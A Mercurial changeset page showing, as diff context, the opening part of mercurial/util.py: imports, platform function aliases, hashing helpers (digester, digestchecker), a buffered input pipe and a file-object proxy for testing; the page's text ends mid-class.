##// END OF EJS Templates
util: make util.url __repr__ consistent on Python 2 and 3...
Augie Fackler -
r37890:bb1b15ac default
parent child Browse files
Show More
@@ -1,3874 +1,3874
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import itertools
25 import itertools
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import tempfile
34 import tempfile
35 import time
35 import time
36 import traceback
36 import traceback
37 import warnings
37 import warnings
38 import zlib
38 import zlib
39
39
40 from . import (
40 from . import (
41 encoding,
41 encoding,
42 error,
42 error,
43 i18n,
43 i18n,
44 node as nodemod,
44 node as nodemod,
45 policy,
45 policy,
46 pycompat,
46 pycompat,
47 urllibcompat,
47 urllibcompat,
48 )
48 )
49 from .utils import (
49 from .utils import (
50 dateutil,
50 dateutil,
51 procutil,
51 procutil,
52 stringutil,
52 stringutil,
53 )
53 )
54
54
55 base85 = policy.importmod(r'base85')
55 base85 = policy.importmod(r'base85')
56 osutil = policy.importmod(r'osutil')
56 osutil = policy.importmod(r'osutil')
57 parsers = policy.importmod(r'parsers')
57 parsers = policy.importmod(r'parsers')
58
58
59 b85decode = base85.b85decode
59 b85decode = base85.b85decode
60 b85encode = base85.b85encode
60 b85encode = base85.b85encode
61
61
62 cookielib = pycompat.cookielib
62 cookielib = pycompat.cookielib
63 httplib = pycompat.httplib
63 httplib = pycompat.httplib
64 pickle = pycompat.pickle
64 pickle = pycompat.pickle
65 safehasattr = pycompat.safehasattr
65 safehasattr = pycompat.safehasattr
66 socketserver = pycompat.socketserver
66 socketserver = pycompat.socketserver
67 bytesio = pycompat.bytesio
67 bytesio = pycompat.bytesio
68 # TODO deprecate stringio name, as it is a lie on Python 3.
68 # TODO deprecate stringio name, as it is a lie on Python 3.
69 stringio = bytesio
69 stringio = bytesio
70 xmlrpclib = pycompat.xmlrpclib
70 xmlrpclib = pycompat.xmlrpclib
71
71
72 httpserver = urllibcompat.httpserver
72 httpserver = urllibcompat.httpserver
73 urlerr = urllibcompat.urlerr
73 urlerr = urllibcompat.urlerr
74 urlreq = urllibcompat.urlreq
74 urlreq = urllibcompat.urlreq
75
75
76 # workaround for win32mbcs
76 # workaround for win32mbcs
77 _filenamebytestr = pycompat.bytestr
77 _filenamebytestr = pycompat.bytestr
78
78
79 if pycompat.iswindows:
79 if pycompat.iswindows:
80 from . import windows as platform
80 from . import windows as platform
81 else:
81 else:
82 from . import posix as platform
82 from . import posix as platform
83
83
84 _ = i18n._
84 _ = i18n._
85
85
86 bindunixsocket = platform.bindunixsocket
86 bindunixsocket = platform.bindunixsocket
87 cachestat = platform.cachestat
87 cachestat = platform.cachestat
88 checkexec = platform.checkexec
88 checkexec = platform.checkexec
89 checklink = platform.checklink
89 checklink = platform.checklink
90 copymode = platform.copymode
90 copymode = platform.copymode
91 expandglobs = platform.expandglobs
91 expandglobs = platform.expandglobs
92 getfsmountpoint = platform.getfsmountpoint
92 getfsmountpoint = platform.getfsmountpoint
93 getfstype = platform.getfstype
93 getfstype = platform.getfstype
94 groupmembers = platform.groupmembers
94 groupmembers = platform.groupmembers
95 groupname = platform.groupname
95 groupname = platform.groupname
96 isexec = platform.isexec
96 isexec = platform.isexec
97 isowner = platform.isowner
97 isowner = platform.isowner
98 listdir = osutil.listdir
98 listdir = osutil.listdir
99 localpath = platform.localpath
99 localpath = platform.localpath
100 lookupreg = platform.lookupreg
100 lookupreg = platform.lookupreg
101 makedir = platform.makedir
101 makedir = platform.makedir
102 nlinks = platform.nlinks
102 nlinks = platform.nlinks
103 normpath = platform.normpath
103 normpath = platform.normpath
104 normcase = platform.normcase
104 normcase = platform.normcase
105 normcasespec = platform.normcasespec
105 normcasespec = platform.normcasespec
106 normcasefallback = platform.normcasefallback
106 normcasefallback = platform.normcasefallback
107 openhardlinks = platform.openhardlinks
107 openhardlinks = platform.openhardlinks
108 oslink = platform.oslink
108 oslink = platform.oslink
109 parsepatchoutput = platform.parsepatchoutput
109 parsepatchoutput = platform.parsepatchoutput
110 pconvert = platform.pconvert
110 pconvert = platform.pconvert
111 poll = platform.poll
111 poll = platform.poll
112 posixfile = platform.posixfile
112 posixfile = platform.posixfile
113 rename = platform.rename
113 rename = platform.rename
114 removedirs = platform.removedirs
114 removedirs = platform.removedirs
115 samedevice = platform.samedevice
115 samedevice = platform.samedevice
116 samefile = platform.samefile
116 samefile = platform.samefile
117 samestat = platform.samestat
117 samestat = platform.samestat
118 setflags = platform.setflags
118 setflags = platform.setflags
119 split = platform.split
119 split = platform.split
120 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
120 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
121 statisexec = platform.statisexec
121 statisexec = platform.statisexec
122 statislink = platform.statislink
122 statislink = platform.statislink
123 umask = platform.umask
123 umask = platform.umask
124 unlink = platform.unlink
124 unlink = platform.unlink
125 username = platform.username
125 username = platform.username
126
126
127 try:
127 try:
128 recvfds = osutil.recvfds
128 recvfds = osutil.recvfds
129 except AttributeError:
129 except AttributeError:
130 pass
130 pass
131
131
132 # Python compatibility
132 # Python compatibility
133
133
134 _notset = object()
134 _notset = object()
135
135
136 def _rapply(f, xs):
136 def _rapply(f, xs):
137 if xs is None:
137 if xs is None:
138 # assume None means non-value of optional data
138 # assume None means non-value of optional data
139 return xs
139 return xs
140 if isinstance(xs, (list, set, tuple)):
140 if isinstance(xs, (list, set, tuple)):
141 return type(xs)(_rapply(f, x) for x in xs)
141 return type(xs)(_rapply(f, x) for x in xs)
142 if isinstance(xs, dict):
142 if isinstance(xs, dict):
143 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
143 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
144 return f(xs)
144 return f(xs)
145
145
146 def rapply(f, xs):
146 def rapply(f, xs):
147 """Apply function recursively to every item preserving the data structure
147 """Apply function recursively to every item preserving the data structure
148
148
149 >>> def f(x):
149 >>> def f(x):
150 ... return 'f(%s)' % x
150 ... return 'f(%s)' % x
151 >>> rapply(f, None) is None
151 >>> rapply(f, None) is None
152 True
152 True
153 >>> rapply(f, 'a')
153 >>> rapply(f, 'a')
154 'f(a)'
154 'f(a)'
155 >>> rapply(f, {'a'}) == {'f(a)'}
155 >>> rapply(f, {'a'}) == {'f(a)'}
156 True
156 True
157 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
157 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
158 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
158 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
159
159
160 >>> xs = [object()]
160 >>> xs = [object()]
161 >>> rapply(pycompat.identity, xs) is xs
161 >>> rapply(pycompat.identity, xs) is xs
162 True
162 True
163 """
163 """
164 if f is pycompat.identity:
164 if f is pycompat.identity:
165 # fast path mainly for py2
165 # fast path mainly for py2
166 return xs
166 return xs
167 return _rapply(f, xs)
167 return _rapply(f, xs)
168
168
169 def bitsfrom(container):
169 def bitsfrom(container):
170 bits = 0
170 bits = 0
171 for bit in container:
171 for bit in container:
172 bits |= bit
172 bits |= bit
173 return bits
173 return bits
174
174
175 # python 2.6 still have deprecation warning enabled by default. We do not want
175 # python 2.6 still have deprecation warning enabled by default. We do not want
176 # to display anything to standard user so detect if we are running test and
176 # to display anything to standard user so detect if we are running test and
177 # only use python deprecation warning in this case.
177 # only use python deprecation warning in this case.
178 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
178 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
179 if _dowarn:
179 if _dowarn:
180 # explicitly unfilter our warning for python 2.7
180 # explicitly unfilter our warning for python 2.7
181 #
181 #
182 # The option of setting PYTHONWARNINGS in the test runner was investigated.
182 # The option of setting PYTHONWARNINGS in the test runner was investigated.
183 # However, module name set through PYTHONWARNINGS was exactly matched, so
183 # However, module name set through PYTHONWARNINGS was exactly matched, so
184 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
184 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
185 # makes the whole PYTHONWARNINGS thing useless for our usecase.
185 # makes the whole PYTHONWARNINGS thing useless for our usecase.
186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
187 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
187 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
188 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
188 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
189 if _dowarn and pycompat.ispy3:
189 if _dowarn and pycompat.ispy3:
190 # silence warning emitted by passing user string to re.sub()
190 # silence warning emitted by passing user string to re.sub()
191 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
191 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
192 r'mercurial')
192 r'mercurial')
193 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
193 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
194 DeprecationWarning, r'mercurial')
194 DeprecationWarning, r'mercurial')
195 # TODO: reinvent imp.is_frozen()
195 # TODO: reinvent imp.is_frozen()
196 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
196 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
197 DeprecationWarning, r'mercurial')
197 DeprecationWarning, r'mercurial')
198
198
199 def nouideprecwarn(msg, version, stacklevel=1):
199 def nouideprecwarn(msg, version, stacklevel=1):
200 """Issue an python native deprecation warning
200 """Issue an python native deprecation warning
201
201
202 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
202 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
203 """
203 """
204 if _dowarn:
204 if _dowarn:
205 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
205 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
206 " update your code.)") % version
206 " update your code.)") % version
207 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
207 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
208
208
209 DIGESTS = {
209 DIGESTS = {
210 'md5': hashlib.md5,
210 'md5': hashlib.md5,
211 'sha1': hashlib.sha1,
211 'sha1': hashlib.sha1,
212 'sha512': hashlib.sha512,
212 'sha512': hashlib.sha512,
213 }
213 }
214 # List of digest types from strongest to weakest
214 # List of digest types from strongest to weakest
215 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
215 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
216
216
217 for k in DIGESTS_BY_STRENGTH:
217 for k in DIGESTS_BY_STRENGTH:
218 assert k in DIGESTS
218 assert k in DIGESTS
219
219
220 class digester(object):
220 class digester(object):
221 """helper to compute digests.
221 """helper to compute digests.
222
222
223 This helper can be used to compute one or more digests given their name.
223 This helper can be used to compute one or more digests given their name.
224
224
225 >>> d = digester([b'md5', b'sha1'])
225 >>> d = digester([b'md5', b'sha1'])
226 >>> d.update(b'foo')
226 >>> d.update(b'foo')
227 >>> [k for k in sorted(d)]
227 >>> [k for k in sorted(d)]
228 ['md5', 'sha1']
228 ['md5', 'sha1']
229 >>> d[b'md5']
229 >>> d[b'md5']
230 'acbd18db4cc2f85cedef654fccc4a4d8'
230 'acbd18db4cc2f85cedef654fccc4a4d8'
231 >>> d[b'sha1']
231 >>> d[b'sha1']
232 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
232 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
233 >>> digester.preferred([b'md5', b'sha1'])
233 >>> digester.preferred([b'md5', b'sha1'])
234 'sha1'
234 'sha1'
235 """
235 """
236
236
237 def __init__(self, digests, s=''):
237 def __init__(self, digests, s=''):
238 self._hashes = {}
238 self._hashes = {}
239 for k in digests:
239 for k in digests:
240 if k not in DIGESTS:
240 if k not in DIGESTS:
241 raise error.Abort(_('unknown digest type: %s') % k)
241 raise error.Abort(_('unknown digest type: %s') % k)
242 self._hashes[k] = DIGESTS[k]()
242 self._hashes[k] = DIGESTS[k]()
243 if s:
243 if s:
244 self.update(s)
244 self.update(s)
245
245
246 def update(self, data):
246 def update(self, data):
247 for h in self._hashes.values():
247 for h in self._hashes.values():
248 h.update(data)
248 h.update(data)
249
249
250 def __getitem__(self, key):
250 def __getitem__(self, key):
251 if key not in DIGESTS:
251 if key not in DIGESTS:
252 raise error.Abort(_('unknown digest type: %s') % k)
252 raise error.Abort(_('unknown digest type: %s') % k)
253 return nodemod.hex(self._hashes[key].digest())
253 return nodemod.hex(self._hashes[key].digest())
254
254
255 def __iter__(self):
255 def __iter__(self):
256 return iter(self._hashes)
256 return iter(self._hashes)
257
257
258 @staticmethod
258 @staticmethod
259 def preferred(supported):
259 def preferred(supported):
260 """returns the strongest digest type in both supported and DIGESTS."""
260 """returns the strongest digest type in both supported and DIGESTS."""
261
261
262 for k in DIGESTS_BY_STRENGTH:
262 for k in DIGESTS_BY_STRENGTH:
263 if k in supported:
263 if k in supported:
264 return k
264 return k
265 return None
265 return None
266
266
267 class digestchecker(object):
267 class digestchecker(object):
268 """file handle wrapper that additionally checks content against a given
268 """file handle wrapper that additionally checks content against a given
269 size and digests.
269 size and digests.
270
270
271 d = digestchecker(fh, size, {'md5': '...'})
271 d = digestchecker(fh, size, {'md5': '...'})
272
272
273 When multiple digests are given, all of them are validated.
273 When multiple digests are given, all of them are validated.
274 """
274 """
275
275
276 def __init__(self, fh, size, digests):
276 def __init__(self, fh, size, digests):
277 self._fh = fh
277 self._fh = fh
278 self._size = size
278 self._size = size
279 self._got = 0
279 self._got = 0
280 self._digests = dict(digests)
280 self._digests = dict(digests)
281 self._digester = digester(self._digests.keys())
281 self._digester = digester(self._digests.keys())
282
282
283 def read(self, length=-1):
283 def read(self, length=-1):
284 content = self._fh.read(length)
284 content = self._fh.read(length)
285 self._digester.update(content)
285 self._digester.update(content)
286 self._got += len(content)
286 self._got += len(content)
287 return content
287 return content
288
288
289 def validate(self):
289 def validate(self):
290 if self._size != self._got:
290 if self._size != self._got:
291 raise error.Abort(_('size mismatch: expected %d, got %d') %
291 raise error.Abort(_('size mismatch: expected %d, got %d') %
292 (self._size, self._got))
292 (self._size, self._got))
293 for k, v in self._digests.items():
293 for k, v in self._digests.items():
294 if v != self._digester[k]:
294 if v != self._digester[k]:
295 # i18n: first parameter is a digest name
295 # i18n: first parameter is a digest name
296 raise error.Abort(_('%s mismatch: expected %s, got %s') %
296 raise error.Abort(_('%s mismatch: expected %s, got %s') %
297 (k, v, self._digester[k]))
297 (k, v, self._digester[k]))
298
298
299 try:
299 try:
300 buffer = buffer
300 buffer = buffer
301 except NameError:
301 except NameError:
302 def buffer(sliceable, offset=0, length=None):
302 def buffer(sliceable, offset=0, length=None):
303 if length is not None:
303 if length is not None:
304 return memoryview(sliceable)[offset:offset + length]
304 return memoryview(sliceable)[offset:offset + length]
305 return memoryview(sliceable)[offset:]
305 return memoryview(sliceable)[offset:]
306
306
307 _chunksize = 4096
307 _chunksize = 4096
308
308
309 class bufferedinputpipe(object):
309 class bufferedinputpipe(object):
310 """a manually buffered input pipe
310 """a manually buffered input pipe
311
311
312 Python will not let us use buffered IO and lazy reading with 'polling' at
312 Python will not let us use buffered IO and lazy reading with 'polling' at
313 the same time. We cannot probe the buffer state and select will not detect
313 the same time. We cannot probe the buffer state and select will not detect
314 that data are ready to read if they are already buffered.
314 that data are ready to read if they are already buffered.
315
315
316 This class let us work around that by implementing its own buffering
316 This class let us work around that by implementing its own buffering
317 (allowing efficient readline) while offering a way to know if the buffer is
317 (allowing efficient readline) while offering a way to know if the buffer is
318 empty from the output (allowing collaboration of the buffer with polling).
318 empty from the output (allowing collaboration of the buffer with polling).
319
319
320 This class lives in the 'util' module because it makes use of the 'os'
320 This class lives in the 'util' module because it makes use of the 'os'
321 module from the python stdlib.
321 module from the python stdlib.
322 """
322 """
323 def __new__(cls, fh):
323 def __new__(cls, fh):
324 # If we receive a fileobjectproxy, we need to use a variation of this
324 # If we receive a fileobjectproxy, we need to use a variation of this
325 # class that notifies observers about activity.
325 # class that notifies observers about activity.
326 if isinstance(fh, fileobjectproxy):
326 if isinstance(fh, fileobjectproxy):
327 cls = observedbufferedinputpipe
327 cls = observedbufferedinputpipe
328
328
329 return super(bufferedinputpipe, cls).__new__(cls)
329 return super(bufferedinputpipe, cls).__new__(cls)
330
330
331 def __init__(self, input):
331 def __init__(self, input):
332 self._input = input
332 self._input = input
333 self._buffer = []
333 self._buffer = []
334 self._eof = False
334 self._eof = False
335 self._lenbuf = 0
335 self._lenbuf = 0
336
336
337 @property
337 @property
338 def hasbuffer(self):
338 def hasbuffer(self):
339 """True is any data is currently buffered
339 """True is any data is currently buffered
340
340
341 This will be used externally a pre-step for polling IO. If there is
341 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
342 already data then no polling should be set in place."""
343 return bool(self._buffer)
343 return bool(self._buffer)
344
344
345 @property
345 @property
346 def closed(self):
346 def closed(self):
347 return self._input.closed
347 return self._input.closed
348
348
349 def fileno(self):
349 def fileno(self):
350 return self._input.fileno()
350 return self._input.fileno()
351
351
352 def close(self):
352 def close(self):
353 return self._input.close()
353 return self._input.close()
354
354
355 def read(self, size):
355 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
356 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
357 self._fillbuffer()
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def readline(self, *args, **kwargs):
360 def readline(self, *args, **kwargs):
361 if 1 < len(self._buffer):
361 if 1 < len(self._buffer):
362 # this should not happen because both read and readline end with a
362 # this should not happen because both read and readline end with a
363 # _frombuffer call that collapse it.
363 # _frombuffer call that collapse it.
364 self._buffer = [''.join(self._buffer)]
364 self._buffer = [''.join(self._buffer)]
365 self._lenbuf = len(self._buffer[0])
365 self._lenbuf = len(self._buffer[0])
366 lfi = -1
366 lfi = -1
367 if self._buffer:
367 if self._buffer:
368 lfi = self._buffer[-1].find('\n')
368 lfi = self._buffer[-1].find('\n')
369 while (not self._eof) and lfi < 0:
369 while (not self._eof) and lfi < 0:
370 self._fillbuffer()
370 self._fillbuffer()
371 if self._buffer:
371 if self._buffer:
372 lfi = self._buffer[-1].find('\n')
372 lfi = self._buffer[-1].find('\n')
373 size = lfi + 1
373 size = lfi + 1
374 if lfi < 0: # end of file
374 if lfi < 0: # end of file
375 size = self._lenbuf
375 size = self._lenbuf
376 elif 1 < len(self._buffer):
376 elif 1 < len(self._buffer):
377 # we need to take previous chunks into account
377 # we need to take previous chunks into account
378 size += self._lenbuf - len(self._buffer[-1])
378 size += self._lenbuf - len(self._buffer[-1])
379 return self._frombuffer(size)
379 return self._frombuffer(size)
380
380
381 def _frombuffer(self, size):
381 def _frombuffer(self, size):
382 """return at most 'size' data from the buffer
382 """return at most 'size' data from the buffer
383
383
384 The data are removed from the buffer."""
384 The data are removed from the buffer."""
385 if size == 0 or not self._buffer:
385 if size == 0 or not self._buffer:
386 return ''
386 return ''
387 buf = self._buffer[0]
387 buf = self._buffer[0]
388 if 1 < len(self._buffer):
388 if 1 < len(self._buffer):
389 buf = ''.join(self._buffer)
389 buf = ''.join(self._buffer)
390
390
391 data = buf[:size]
391 data = buf[:size]
392 buf = buf[len(data):]
392 buf = buf[len(data):]
393 if buf:
393 if buf:
394 self._buffer = [buf]
394 self._buffer = [buf]
395 self._lenbuf = len(buf)
395 self._lenbuf = len(buf)
396 else:
396 else:
397 self._buffer = []
397 self._buffer = []
398 self._lenbuf = 0
398 self._lenbuf = 0
399 return data
399 return data
400
400
401 def _fillbuffer(self):
401 def _fillbuffer(self):
402 """read data to the buffer"""
402 """read data to the buffer"""
403 data = os.read(self._input.fileno(), _chunksize)
403 data = os.read(self._input.fileno(), _chunksize)
404 if not data:
404 if not data:
405 self._eof = True
405 self._eof = True
406 else:
406 else:
407 self._lenbuf += len(data)
407 self._lenbuf += len(data)
408 self._buffer.append(data)
408 self._buffer.append(data)
409
409
410 return data
410 return data
411
411
412 def mmapread(fp):
412 def mmapread(fp):
413 try:
413 try:
414 fd = getattr(fp, 'fileno', lambda: fp)()
414 fd = getattr(fp, 'fileno', lambda: fp)()
415 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
415 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
416 except ValueError:
416 except ValueError:
417 # Empty files cannot be mmapped, but mmapread should still work. Check
417 # Empty files cannot be mmapped, but mmapread should still work. Check
418 # if the file is empty, and if so, return an empty buffer.
418 # if the file is empty, and if so, return an empty buffer.
419 if os.fstat(fd).st_size == 0:
419 if os.fstat(fd).st_size == 0:
420 return ''
420 return ''
421 raise
421 raise
422
422
423 class fileobjectproxy(object):
423 class fileobjectproxy(object):
424 """A proxy around file objects that tells a watcher when events occur.
424 """A proxy around file objects that tells a watcher when events occur.
425
425
426 This type is intended to only be used for testing purposes. Think hard
426 This type is intended to only be used for testing purposes. Think hard
427 before using it in important code.
427 before using it in important code.
428 """
428 """
429 __slots__ = (
429 __slots__ = (
430 r'_orig',
430 r'_orig',
431 r'_observer',
431 r'_observer',
432 )
432 )
433
433
434 def __init__(self, fh, observer):
434 def __init__(self, fh, observer):
435 object.__setattr__(self, r'_orig', fh)
435 object.__setattr__(self, r'_orig', fh)
436 object.__setattr__(self, r'_observer', observer)
436 object.__setattr__(self, r'_observer', observer)
437
437
438 def __getattribute__(self, name):
438 def __getattribute__(self, name):
439 ours = {
439 ours = {
440 r'_observer',
440 r'_observer',
441
441
442 # IOBase
442 # IOBase
443 r'close',
443 r'close',
444 # closed if a property
444 # closed if a property
445 r'fileno',
445 r'fileno',
446 r'flush',
446 r'flush',
447 r'isatty',
447 r'isatty',
448 r'readable',
448 r'readable',
449 r'readline',
449 r'readline',
450 r'readlines',
450 r'readlines',
451 r'seek',
451 r'seek',
452 r'seekable',
452 r'seekable',
453 r'tell',
453 r'tell',
454 r'truncate',
454 r'truncate',
455 r'writable',
455 r'writable',
456 r'writelines',
456 r'writelines',
457 # RawIOBase
457 # RawIOBase
458 r'read',
458 r'read',
459 r'readall',
459 r'readall',
460 r'readinto',
460 r'readinto',
461 r'write',
461 r'write',
462 # BufferedIOBase
462 # BufferedIOBase
463 # raw is a property
463 # raw is a property
464 r'detach',
464 r'detach',
465 # read defined above
465 # read defined above
466 r'read1',
466 r'read1',
467 # readinto defined above
467 # readinto defined above
468 # write defined above
468 # write defined above
469 }
469 }
470
470
471 # We only observe some methods.
471 # We only observe some methods.
472 if name in ours:
472 if name in ours:
473 return object.__getattribute__(self, name)
473 return object.__getattribute__(self, name)
474
474
475 return getattr(object.__getattribute__(self, r'_orig'), name)
475 return getattr(object.__getattribute__(self, r'_orig'), name)
476
476
477 def __nonzero__(self):
477 def __nonzero__(self):
478 return bool(object.__getattribute__(self, r'_orig'))
478 return bool(object.__getattribute__(self, r'_orig'))
479
479
480 __bool__ = __nonzero__
480 __bool__ = __nonzero__
481
481
482 def __delattr__(self, name):
482 def __delattr__(self, name):
483 return delattr(object.__getattribute__(self, r'_orig'), name)
483 return delattr(object.__getattribute__(self, r'_orig'), name)
484
484
485 def __setattr__(self, name, value):
485 def __setattr__(self, name, value):
486 return setattr(object.__getattribute__(self, r'_orig'), name, value)
486 return setattr(object.__getattribute__(self, r'_orig'), name, value)
487
487
488 def __iter__(self):
488 def __iter__(self):
489 return object.__getattribute__(self, r'_orig').__iter__()
489 return object.__getattribute__(self, r'_orig').__iter__()
490
490
491 def _observedcall(self, name, *args, **kwargs):
491 def _observedcall(self, name, *args, **kwargs):
492 # Call the original object.
492 # Call the original object.
493 orig = object.__getattribute__(self, r'_orig')
493 orig = object.__getattribute__(self, r'_orig')
494 res = getattr(orig, name)(*args, **kwargs)
494 res = getattr(orig, name)(*args, **kwargs)
495
495
496 # Call a method on the observer of the same name with arguments
496 # Call a method on the observer of the same name with arguments
497 # so it can react, log, etc.
497 # so it can react, log, etc.
498 observer = object.__getattribute__(self, r'_observer')
498 observer = object.__getattribute__(self, r'_observer')
499 fn = getattr(observer, name, None)
499 fn = getattr(observer, name, None)
500 if fn:
500 if fn:
501 fn(res, *args, **kwargs)
501 fn(res, *args, **kwargs)
502
502
503 return res
503 return res
504
504
505 def close(self, *args, **kwargs):
505 def close(self, *args, **kwargs):
506 return object.__getattribute__(self, r'_observedcall')(
506 return object.__getattribute__(self, r'_observedcall')(
507 r'close', *args, **kwargs)
507 r'close', *args, **kwargs)
508
508
509 def fileno(self, *args, **kwargs):
509 def fileno(self, *args, **kwargs):
510 return object.__getattribute__(self, r'_observedcall')(
510 return object.__getattribute__(self, r'_observedcall')(
511 r'fileno', *args, **kwargs)
511 r'fileno', *args, **kwargs)
512
512
513 def flush(self, *args, **kwargs):
513 def flush(self, *args, **kwargs):
514 return object.__getattribute__(self, r'_observedcall')(
514 return object.__getattribute__(self, r'_observedcall')(
515 r'flush', *args, **kwargs)
515 r'flush', *args, **kwargs)
516
516
517 def isatty(self, *args, **kwargs):
517 def isatty(self, *args, **kwargs):
518 return object.__getattribute__(self, r'_observedcall')(
518 return object.__getattribute__(self, r'_observedcall')(
519 r'isatty', *args, **kwargs)
519 r'isatty', *args, **kwargs)
520
520
521 def readable(self, *args, **kwargs):
521 def readable(self, *args, **kwargs):
522 return object.__getattribute__(self, r'_observedcall')(
522 return object.__getattribute__(self, r'_observedcall')(
523 r'readable', *args, **kwargs)
523 r'readable', *args, **kwargs)
524
524
525 def readline(self, *args, **kwargs):
525 def readline(self, *args, **kwargs):
526 return object.__getattribute__(self, r'_observedcall')(
526 return object.__getattribute__(self, r'_observedcall')(
527 r'readline', *args, **kwargs)
527 r'readline', *args, **kwargs)
528
528
529 def readlines(self, *args, **kwargs):
529 def readlines(self, *args, **kwargs):
530 return object.__getattribute__(self, r'_observedcall')(
530 return object.__getattribute__(self, r'_observedcall')(
531 r'readlines', *args, **kwargs)
531 r'readlines', *args, **kwargs)
532
532
533 def seek(self, *args, **kwargs):
533 def seek(self, *args, **kwargs):
534 return object.__getattribute__(self, r'_observedcall')(
534 return object.__getattribute__(self, r'_observedcall')(
535 r'seek', *args, **kwargs)
535 r'seek', *args, **kwargs)
536
536
537 def seekable(self, *args, **kwargs):
537 def seekable(self, *args, **kwargs):
538 return object.__getattribute__(self, r'_observedcall')(
538 return object.__getattribute__(self, r'_observedcall')(
539 r'seekable', *args, **kwargs)
539 r'seekable', *args, **kwargs)
540
540
541 def tell(self, *args, **kwargs):
541 def tell(self, *args, **kwargs):
542 return object.__getattribute__(self, r'_observedcall')(
542 return object.__getattribute__(self, r'_observedcall')(
543 r'tell', *args, **kwargs)
543 r'tell', *args, **kwargs)
544
544
545 def truncate(self, *args, **kwargs):
545 def truncate(self, *args, **kwargs):
546 return object.__getattribute__(self, r'_observedcall')(
546 return object.__getattribute__(self, r'_observedcall')(
547 r'truncate', *args, **kwargs)
547 r'truncate', *args, **kwargs)
548
548
549 def writable(self, *args, **kwargs):
549 def writable(self, *args, **kwargs):
550 return object.__getattribute__(self, r'_observedcall')(
550 return object.__getattribute__(self, r'_observedcall')(
551 r'writable', *args, **kwargs)
551 r'writable', *args, **kwargs)
552
552
553 def writelines(self, *args, **kwargs):
553 def writelines(self, *args, **kwargs):
554 return object.__getattribute__(self, r'_observedcall')(
554 return object.__getattribute__(self, r'_observedcall')(
555 r'writelines', *args, **kwargs)
555 r'writelines', *args, **kwargs)
556
556
557 def read(self, *args, **kwargs):
557 def read(self, *args, **kwargs):
558 return object.__getattribute__(self, r'_observedcall')(
558 return object.__getattribute__(self, r'_observedcall')(
559 r'read', *args, **kwargs)
559 r'read', *args, **kwargs)
560
560
561 def readall(self, *args, **kwargs):
561 def readall(self, *args, **kwargs):
562 return object.__getattribute__(self, r'_observedcall')(
562 return object.__getattribute__(self, r'_observedcall')(
563 r'readall', *args, **kwargs)
563 r'readall', *args, **kwargs)
564
564
565 def readinto(self, *args, **kwargs):
565 def readinto(self, *args, **kwargs):
566 return object.__getattribute__(self, r'_observedcall')(
566 return object.__getattribute__(self, r'_observedcall')(
567 r'readinto', *args, **kwargs)
567 r'readinto', *args, **kwargs)
568
568
569 def write(self, *args, **kwargs):
569 def write(self, *args, **kwargs):
570 return object.__getattribute__(self, r'_observedcall')(
570 return object.__getattribute__(self, r'_observedcall')(
